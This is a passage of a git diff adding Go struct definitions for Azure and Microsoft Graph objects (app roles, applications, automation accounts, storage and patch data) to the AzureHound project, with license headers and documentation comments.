application role that can be requested by (and granted to) a client application, or that can be used to +// assign an application to users or groups in a specified role. +// +// To add, update, or remove app roles for an application, update the application for the app or service. App roles on +// the application entity will be available in all tenants where the application is used. To define app roles that are +// only applicable in your tenant (for example, app roles representing custom roles in your instance of a multi-tenant +// application), you can also update the service principal for the app, to add or update app roles to the appRoles +// collection. +// +// With appRoleAssignments, app roles can be assigned to users, groups, or other applications' service principals. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/approle?view=graph-rest-1.0 +type AppRole struct { + AllowedMemberTypes []string `json:"allowedMemberTypes,omitempty"` + Description string `json:"description,omitempty"` + DisplayName string `json:"displayName,omitempty"` + Id uuid.UUID `json:"id,omitempty"` + IsEnabled bool `json:"isEnabled,omitempty"` + Origin string `json:"origin,omitempty"` + Value string `json:"value,omitempty"` +} diff --git a/models/azure/app_role_assignment.go b/models/azure/app_role_assignment.go new file mode 100644 index 0000000..708a4d8 --- /dev/null +++ b/models/azure/app_role_assignment.go @@ -0,0 +1,39 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/gofrs/uuid" + +// Represents an application role that can be requested by (and granted to) a client application, or that can be used to +// assign an application to users or groups in a specified role. +// +// An app role assignment is a relationship between the assigned principal (a user, a group, or a service principal), +// a resource application (the app's service principal) and an app role defined on the resource application. +// +// With appRoleAssignments, app roles can be assigned to users, groups, or other applications' service principals. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/approleassignment?view=graph-rest-1.0 +type AppRoleAssignment struct { + AppRoleId uuid.UUID `json:"appRoleId,omitempty"` + CreatedDateTime string `json:"createdDateTime,omitempty"` + Id string `json:"id,omitempty"` + PrincipalDisplayName string `json:"principalDisplayName,omitempty"` + PrincipalId uuid.UUID `json:"principalId,omitempty"` + PrincipalType string `json:"principalType,omitempty"` + ResourceDisplayName string `json:"resourceDisplayName,omitempty"` + ResourceId string `json:"resourceId,omitempty"` +} diff --git a/models/azure/app_scope.go b/models/azure/app_scope.go new file mode 100644 index 0000000..ff2da07 --- /dev/null +++ b/models/azure/app_scope.go @@ -0,0 +1,41 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The scope of a role assignment determines the set of resources for which the principal has been granted access. +// An app scope is a scope defined and understood by a specific application, unlike directory scopes which are shared +// scopes stored in the directory and understood by multiple applications. +// +// This may be in both the following principal and scope scenarios: +// +// A single principal and a single scope +// Multiple principals and multiple scopes. +type AppScope struct { + Entity + + // Provides the display name of the app-specific resource represented by the app scope. + // Provided for display purposes since appScopeId is often an immutable, non-human-readable id. + // Read-only. + DisplayName string `json:"display_name,omitempty"` + + // Describes the type of app-specific resource represented by the app scope. + // Provided for display purposes, so a user interface can convey to the user the kind of app specific resource + // represented by the app scope. + // Read-only. + Type string `json:"type,omitempty"` +} diff --git a/models/azure/application.go b/models/azure/application.go new file mode 100644 index 0000000..a44a103 --- /dev/null +++ b/models/azure/application.go @@ -0,0 +1,171 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents an application. Any application that outsources authentication to Azure Active Directory (Azure AD) must +// be registered in a directory. Application registration involves telling Azure AD about your application, including +// the URL where it's located, the URL to send replies after authentication, the URI to identify your application, and +// more. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/application?view=graph-rest-1.0 +type Application struct { + DirectoryObject + + // Defines custom behavior that a consuming service can use to call an app in specific contexts. + // For example, applications that can render file streams may set the addIns property for its "FileHandler" + // functionality. This will let services like Office 365 call the application in the context of a document the user + // is working on. + AddIns []AddIn `json:"addIns,omitempty"` + + // Specifies settings for an application that implements a web API. + Api ApiApplication `json:"api,omitempty"` + + // The unique identifier for the application that is assigned to an application by Azure AD. Not nullable. Read-only. + AppId string `json:"appId,omitempty"` + + // Unique identifier of the applicationTemplate. + ApplicationTemplateId string `json:"applicationTemplateId,omitempty"` + + // The collection of roles assigned to the application. + // With app role assignments, these roles can be assigned to users, groups, or service principals associated with + // other applications. Not nullable. + AppRoles []AppRole `json:"appRoles,omitempty"` + + // The date and time the application was registered. + // The DateTimeOffset type represents date and time information using ISO 8601 format and is always in UTC time. + // For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Read-only. + // + // Supports $filter (eq, ne, NOT, ge, le, in) and $orderBy. + CreatedDateTime string `json:"createdDateTime,omitempty"` + + // The date and time the application was deleted. The DateTimeOffset type represents date and time information using + // ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. + // Read-only. + DeletedDateTime string `json:"deletedDateTime,omitempty"` + + // An optional description of the application. + // Supports $filter (eq, ne, NOT, ge, le, startsWith) and $search. + Description string `json:"description,omitempty"` + + // Specifies whether Microsoft has disabled the registered application. + // Possible values are: null (default value), NotDisabled, and DisabledDueToViolationOfServicesAgreement + // (reasons may include suspicious, abusive, or malicious activity, or a violation of the Microsoft Services + // Agreement). + DisabledByMicrosoftStatus string `json:"disabledByMicrosoftStatus,omitempty"` + + // The display name for the application. + // Supports $filter (eq, ne, NOT, ge, le, in, startsWith), $search, and $orderBy. + DisplayName string `json:"displayName,omitempty"` + + // Configures the groups claim issued in a user or OAuth 2.0 access token that the application expects. + // To set this attribute, use one of the following valid string values: + // - None + // - SecurityGroup (for security groups and Azure AD roles) + // - All (this gets all of the security groups, distribution groups, and Azure AD directory roles that the signed-in user is a member of) + GroupMembershipClaims string `json:"groupMembershipClaims,omitempty"` + + // The URIs that identify the application within its Azure AD tenant, or within a verified custom domain if the + // application is multi-tenant. For more information see Application Objects and Service Principal Objects. + // The any operator is required for filter expressions on multi-valued properties. + // Not nullable. + // Supports $filter (eq, ne, ge, le, startsWith). + IdentifierUris []string `json:"identifierUris,omitempty"` + + // Basic profile information of the application such as app's marketing, support, terms of service and privacy + // statement URLs. The terms of service and privacy statement are surfaced to users through the user consent + // experience. For more info, see How to: Add Terms of service and privacy statement for registered Azure AD apps. + // Supports $filter (eq, ne, NOT, ge, le). + Info InformationalUrl `json:"info,omitempty"` + + // Specifies whether this application supports device authentication without a user. + // The default is false. + IsDeviceOnlyAuthSupported bool `json:"isDeviceOnlyAuthSupported,omitempty"` + + // Specifies the fallback application type as public client, such as an installed application running on a mobile + // device. + // The default value is false which means the fallback application type is confidential client such as a web app. + // There are certain scenarios where Azure AD cannot determine the client application type. For example, the ROPC + // flow where it is configured without specifying a redirect URI. In those cases Azure AD interprets the application + // type based on the value of this property. + IsFallbackPublicClient bool `json:"isFallbackPublicClient,omitempty"` + + // The collection of key credentials associated with the application. + // Not nullable. + // Supports $filter (eq, NOT, ge, le). + KeyCredentials []KeyCredential `json:"keyCredentials,omitempty"` + + // The main logo for the application. Not nullable. + // Base64Url encoded. + Logo string `json:"logo,omitempty"` + + // Notes relevant for the management of the application. + Notes string `json:"notes,omitempty"` + + // Specifies whether, as part of OAuth 2.0 token requests, Azure AD allows POST requests, as opposed to GET requests. + // The default is false, which specifies that only GET requests are allowed. + OAuth2RequiredPostResponse bool `json:"oauth2RequiredPostResponse,omitempty"` + + // Application developers can configure optional claims in their Azure AD applications to specify the claims that + // are sent to their application by the Microsoft security token service. + // For more information, see How to: Provide optional claims to your app. + OptionalClaims OptionalClaims `json:"optionalClaims,omitempty"` + + // Specifies parental control settings for an application. + ParentalControlSettings ParentalControlSettings `json:"parentalControlSettings,omitempty"` + + // The collection of password credentials associated with the application. Not nullable. + PasswordCredentials []PasswordCredential `json:"passwordCredentials,omitempty"` + + // Specifies settings for installed clients such as desktop or mobile devices. + PublicClient PublicClientApplication `json:"publicClient,omitempty"` + + // The verified publisher domain for the application. Read-only. + // For more information, see How to: Configure an application's publisher domain. + // Supports $filter (eq, ne, ge, le, startsWith). + PublisherDomain string `json:"publisherDomain,omitempty"` + + // Specifies the resources that the application needs to access. + // This property also specifies the set of delegated permissions and application roles that it needs for each of + // those resources. This configuration of access to the required resources drives the consent experience. No more + // than 50 resource services (APIs) can be configured. Beginning mid-October 2021, the total number of required + // permissions must not exceed 400. Not nullable. + RequiredResourceAccess []RequiredResourceAccess `json:"requiredResourceAccess,omitempty"` + + // Specifies the Microsoft accounts that are supported for the current application. + // The possible values are: AzureADMyOrg, AzureADMultipleOrgs, AzureADandPersonalMicrosoftAccount (default), and + // PersonalMicrosoftAccount. See more in the table below. + SignInAudience string `json:"signInAudience,omitempty"` + + // Specifies settings for a single-page application, including sign out URLs and redirect URIs for authorization + // codes and access tokens. + SPA SPAApplication `json:"spa,omitempty"` + + // Custom strings that can be used to categorize and identify the application. Not nullable. + Tags []string `json:"tags,omitempty"` + + // Specifies the keyId of a public key from the keyCredentials collection. + // When configured, Azure AD encrypts all the tokens it emits by using the key this property points to. The + // application code that receives the encrypted token must use the matching private key to decrypt the token before + // it can be used for the signed-in user. + TokenEncryptionKeyId string `json:"tokenEncryptionKeyId,omitempty"` + + // Specifies the verified publisher of the application. + VerifiedPublisher VerifiedPublisher `json:"verifiedPublisher,omitempty"` + + // Specifies settings for a web application. + Web WebApplication `json:"web,omitempty"` +} diff --git a/models/azure/assigned_label.go b/models/azure/assigned_label.go new file mode 100644 index 0000000..c5e2f84 --- /dev/null +++ b/models/azure/assigned_label.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Represents a sensitivity label assigned to a Microsoft 365 group. Sensitivity labels allow administrators to enforce +// specific group settings on a group by assigning a classification to the group (such as Confidential, Highly Confidential +// or General). Sensitivity labels are published by administrators in Microsoft 365 Security & Compliance Center as part +// of Microsoft Information Protection capabilities. +// For more detail see https://docs.microsoft.com/en-us/graph/api/resources/assignedlabel?view=graph-rest-1.0 +type AssignedLabel struct { + // The unique identifier of the label. + LabelId string `json:"labelId,omitempty"` + + // The display name of the label. Read-only. + DisplayName string `json:"displayName,omitempty"` +} diff --git a/models/azure/assigned_license.go b/models/azure/assigned_license.go new file mode 100644 index 0000000..71cd310 --- /dev/null +++ b/models/azure/assigned_license.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/gofrs/uuid" + +// Represents a license assigned to a user. +type AssignedLicense struct { + // A collection of the unique identifiers for plans that have been disabled. + DisabledPlans []uuid.UUID `json:"disabledPlans,omitempty"` + + // The unique identifier for the SKU. + SkuId uuid.UUID `json:"skuId,omitempty"` +} diff --git a/models/azure/assigned_plan.go b/models/azure/assigned_plan.go new file mode 100644 index 0000000..fa5809f --- /dev/null +++ b/models/azure/assigned_plan.go @@ -0,0 +1,38 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/gofrs/uuid" +) + +// Represents a plan assigned to user and organization entities. +type AssignedPlan struct { + // The date and time at which the plan was assigned using ISO 8601 format. + AssignedDateTime string `json:"assignedDateTime,omitempty"` + + // Condition of the capability assignment. + CapabilityStatus enums.CapabiltyStatus `json:"capabilityStatus,omitempty"` + + // The name of the service. + Service string `json:"service,omitempty"` + + // A GUID that identifies the service plan. + ServicePlanId uuid.UUID `json:"servicePlanId,omitempty"` +} diff --git a/models/azure/auto_heal_rules.go b/models/azure/auto_heal_rules.go new file mode 100644 index 0000000..8c181a2 --- /dev/null +++ b/models/azure/auto_heal_rules.go @@ -0,0 +1,75 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +type AutoHealRules struct { + Actions AutoHealActions `json:"actions,omitempty"` + Triggers AutoHealTriggers `json:"triggers,omitempty"` +} + +type AutoHealActions struct { + ActionType enums.AutoHealActionType `json:"actionType,omitempty"` + CustomAction AutoHealCustomAction `json:"customAction,omitempty"` + MinProcessExecutionTime string `json:"minProcessExecutionTime,omitempty"` +} + +type AutoHealCustomAction struct { + Exe string `json:"exe,omitempty"` + Parameters string `json:"parameters,omitempty"` +} + +type AutoHealTriggers struct { + PrivateBytesInKB int `json:"privateBytesInKB,omitempty"` + Requests RequestsBasedTrigger `json:"requests,omitempty"` + SlowRequests SlowRequestsBasedTrigger `json:"slowRequests,omitempty"` + SlowRequestsWithPath []SlowRequestsBasedTrigger `json:"slowRequestsWithPath,omitempty"` + StatusCodes []StatusCodesBasedTrigger `json:"statusCodes,omitempty"` + StatusCodesRange []StatusCodesRangeBasedTrigger `json:"statusCodesRange,omitempty"` +} + +type RequestsBasedTrigger struct { + Count int `json:"count,omitempty"` + TimeInterval string `json:"timeinterval,omitempty"` +} + +type SlowRequestsBasedTrigger struct { + Count int `json:"count,omitempty"` + Path string `json:"path,omitempty"` + TimeInterval string `json:"timeInterval,omitempty"` + TimeTaken string `json:"timeTaken,omitempty"` +} + +type StatusCodesBasedTrigger struct { + Count int `json:"count,omitempty"` + Path string `json:"path,omitempty"` + Status int `json:"status,omitempty"` + SubStatus int `json:"subStatus,omitempty"` + TimeInterval string `json:"timeInterval,omitempty"` + Win32Status int `json:"win32Status,omitempty"` +} + +type StatusCodesRangeBasedTrigger struct { + Count int `json:"count,omitempty"` + Path string `json:"path,omitempty"` + StatusCodes string `json:"statusCodes,omitempty"` + TimeInterval string `json:"timeInterval,omitempty"` +} diff --git a/models/azure/automatic_replies_setting.go b/models/azure/automatic_replies_setting.go new file mode 100644 index 0000000..f500ce6 --- /dev/null +++ b/models/azure/automatic_replies_setting.go @@ -0,0 +1,45 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Configuration settings to automatically notify the sender of an incoming email with a message from the signed-in +// user. +type AutomaticRepliesSetting struct { + // The set of audience external to the signed-in user's organization who will receive the {@link + // ExternalReplyMessage}. + ExternalAudience enums.ExternalAudienceScope `json:"externalAudience,omitempty"` + + // The automatic reply to send to the specified eternal audience. + ExternalReplyMessage string `json:"externalReplyMessage,omitempty"` + + // The automatic reply to send to the audience internal to the signed-in user's organization. + InternalReplyMessage string `json:"internalReplyMessage,omitempty"` + + // The date and time that automatic replies are set to end. + ScheduledEndDateTime DateTimeTimeZone `json:"scheduledEndDateTime,omitempty"` + + // The date and time that automatic replies are set to begin. + ScheduledStartDateTime DateTimeTimeZone `json:"scheduledStartDateTime,omitempty"` + + // Configuration status for automatic replies. + Status enums.AutoReplyStatus `json:"status,omitempty"` +} diff --git a/models/azure/automation_account.go b/models/azure/automation_account.go new file mode 100644 index 0000000..c952a38 --- /dev/null +++ b/models/azure/automation_account.go @@ -0,0 +1,52 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +// Mapped according to https://docs.microsoft.com/en-us/rest/api/automation/automation-account/get?tabs=HTTP#automationaccount +type AutomationAccount struct { + Entity + + Etag string `json:"etag,omitempty"` + Identity ManagedIdentity `json:"identity,omitempty"` + Location string `json:"location,omitempty"` + Name string `json:"name,omitempty"` + Properties AutomationAccountProperties `json:"properties,omitempty"` + SystemData AutomationAccountSystemData `json:"systemData,omitempty"` + Tags map[string]string `json:"tags,omitempty"` + Type string `json:"type,omitempty"` +} + +func (s AutomationAccount) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s AutomationAccount) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/automation_account_properties.go b/models/azure/automation_account_properties.go new file mode 100644 index 0000000..e201a92 --- /dev/null +++ b/models/azure/automation_account_properties.go @@ -0,0 +1,34 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type AutomationAccountProperties struct { + AutomationHybridServiceUrl string `json:"automationHybridServiceUrl,omitempty"` + CreationTime string `json:"creationTime,omitempty"` + Description string `json:"description,omitempty"` + DisableLocalAuth bool `json:"disableLocalAuth,omitempty"` + Encryption AutomationAccountEncryptionProperties `json:"encryption,omitempty"` + LastModifiedBy string `json:"lastModifiedBy,omitempty"` + LastModifiedTime string `json:"lastModifiedTime,omitempty"` + PrivateEndpointConnections []PrivateEndpointConnection `json:"privateEndpointConnections,omitempty"` + PublicNetworkAccess bool `json:"publicNetworkAccess,omitempty"` + Sku Sku `json:"sku,omitempty"` + State enums.AutomationAccountState `json:"state,omitempty"` +} diff --git a/models/azure/automation_account_system_data.go b/models/azure/automation_account_system_data.go new file mode 100644 index 0000000..4d05998 --- /dev/null +++ b/models/azure/automation_account_system_data.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type AutomationAccountSystemData struct { + CreatedAt string `json:"createdAt,omitempty"` + CreatedBy string `json:"createdBy,omitempty"` + CreatedByType enums.AutomationAccountIdentityType `json:"createdByType,omitempty"` + LastModifiedAt string `json:"lastModifiedAt,omitempty"` + LastModifiedBy string `json:"lastModifiedBy,omitempty"` + LastModifiedByType enums.AutomationAccountIdentityType `json:"lastModifiedByType,omitempty"` +} diff --git a/models/azure/available_patch_summary.go b/models/azure/available_patch_summary.go new file mode 100644 index 0000000..e3a10fe --- /dev/null +++ b/models/azure/available_patch_summary.go @@ -0,0 +1,51 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Describes the properties of a virtual machine instance view for available patch summary. +type AvailablePatchSummary struct { + // The activity ID of the operation that produced this result. It is used to correlate across CRP and extension logs. + AssessmentActivityId string `json:"assessmentActivityId,omitempty"` + + // The number of critical or security patches that have been detected as available and not yet installed. + CriticalAndSecurityPatchCount int `json:"criticalAndSecurityPatchCount,omitempty"` + + // The errors that were encountered during execution of the operation. The details array contains the list of them. + Error ODataError `json:"error,omitempty"` + + // The UTC timestamp when the operation began. + LastModifiedTime string `json:"lastModifiedTime,omitempty"` + + // The number of all available patches excluding critical and security. + OtherPatchCount int `json:"otherPatchCount,omitempty"` + + // The overall reboot status of the VM. It will be true when partially installed patches require a reboot to + // complete installation but the reboot has not yet occurred. + RebootPending bool `json:"rebootPending,omitempty"` + + // The UTC timestamp when the operation began. + StartTime string `json:"startTime,omitempty"` + + // The overall success or failure status of the operation. It remains "InProgress" until the operation completes. + // At that point it will become "Unknown", "Failed", "Succeeded", or "CompletedWithWarnings." + Status enums.PatchStatus `json:"status,omitempty"` +} diff --git a/models/azure/azure_files_identity_based_authentication.go b/models/azure/azure_files_identity_based_authentication.go new file mode 100644 index 0000000..bb25abb --- /dev/null +++ b/models/azure/azure_files_identity_based_authentication.go @@ -0,0 +1,37 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type AzureFilesIdentityBasedAuthentication struct { + ActiveDirectoryProperties ActiveDirectoryProperties `json:"activeDirectoryProperties,omitempty"` + DefaultSharePermission enums.DefaultSharePermission `json:"defaultSharePermission,omitempty"` + DirectoryServiceOptions enums.DirectoryServiceOptions `json:"directoryServiceOptions,omitempty"` +} + +type ActiveDirectoryProperties struct { + AccountType string `json:"accountType,omitempty"` + AzureStorageSid string `json:"azureStorageSid,omitempty"` + DomainGuid string `json:"domainGuid,omitempty"` + DomainName string `json:"domainName,omitempty"` + DomainSid string `json:"domainSid,omitempty"` + ForestName string `json:"forestName,omitempty"` + NetBiosDomainName string `json:"netBiosDomainName,omitempty"` + SamAccountName string `json:"samAccountName,omitempty"` +} diff --git a/models/azure/azure_storage_info_value.go b/models/azure/azure_storage_info_value.go new file mode 100644 index 0000000..6aeaa57 --- /dev/null +++ b/models/azure/azure_storage_info_value.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type AzureStorageInfoValue struct { + AccessKey string `json:"accessKey,omitempty"` + AccountName string `json:"accountName,omitempty"` + MountPath string `json:"mountPath,omitempty"` + ShareName string `json:"shareName,omitempty"` + State enums.AzureStorageState `json:"state,omitempty"` + Type enums.AzureStorageType `json:"type,omitempty"` +} diff --git a/models/azure/billing_profile.go b/models/azure/billing_profile.go new file mode 100644 index 0000000..d8d19e8 --- /dev/null +++ b/models/azure/billing_profile.go @@ -0,0 +1,40 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the billing related details of a Azure Spot VM or VMSS. +type BillingProfile struct { + + // Specifies the maximum price you are willing to pay for a Azure Spot VM/VMSS. This price is in US Dollars. + // This price will be compared with the current Azure Spot price for the VM size. Also, the prices are compared at + // the time of create/update of Azure Spot VM/VMSS and the operation will only succeed if the maxPrice is greater + // than the current Azure Spot price. + // + // The maxPrice will also be used for evicting a Azure Spot VM/VMSS if the current Azure Spot price goes beyond the + // maxPrice after creation of VM/VMSS. + // + // Possible values are: + // - Any decimal value greater than zero. Example: 0.01538 + // -1 – indicates default price to be up-to on-demand. + // + // You can set the maxPrice to -1 to indicate that the Azure Spot VM/VMSS should not be evicted for price reasons. + // Also, the default max price is -1 if it is not provided by you. + // + // Minimum api-version: 2019-03-01. + MaxPrice float64 `json:"maxPrice,omitempty"` +} diff --git a/models/azure/blob_restore_status.go b/models/azure/blob_restore_status.go new file mode 100644 index 0000000..8da46a8 --- /dev/null +++ b/models/azure/blob_restore_status.go @@ -0,0 +1,37 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type BlobRestoreStatus struct { + FailureReason string `json:"failureReason,omitempty"` + Parameters BlobRestoreParameters `json:"parameters,omitempty"` + RestoreId string `json:"restoreId,omitempty"` + Status enums.BlobRestoreProgressStatus `json:"status,omitempty"` +} + +type BlobRestoreParameters struct { + BlobRanges []BlobRestoreRange `json:"blobRanges,omitempty"` + TimeToRestore string `json:"timeToRestore,omitempty"` +} + +type BlobRestoreRange struct { + EndRange string `json:"endRange,omitempty"` + StartRange string `json:"startRange,omitempty"` +} diff --git a/models/azure/boot_diagnostics.go b/models/azure/boot_diagnostics.go new file mode 100644 index 0000000..532e481 --- /dev/null +++ b/models/azure/boot_diagnostics.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a 